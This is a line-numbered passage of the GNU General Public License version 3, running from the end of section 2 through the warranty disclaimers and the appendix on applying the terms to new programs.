affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------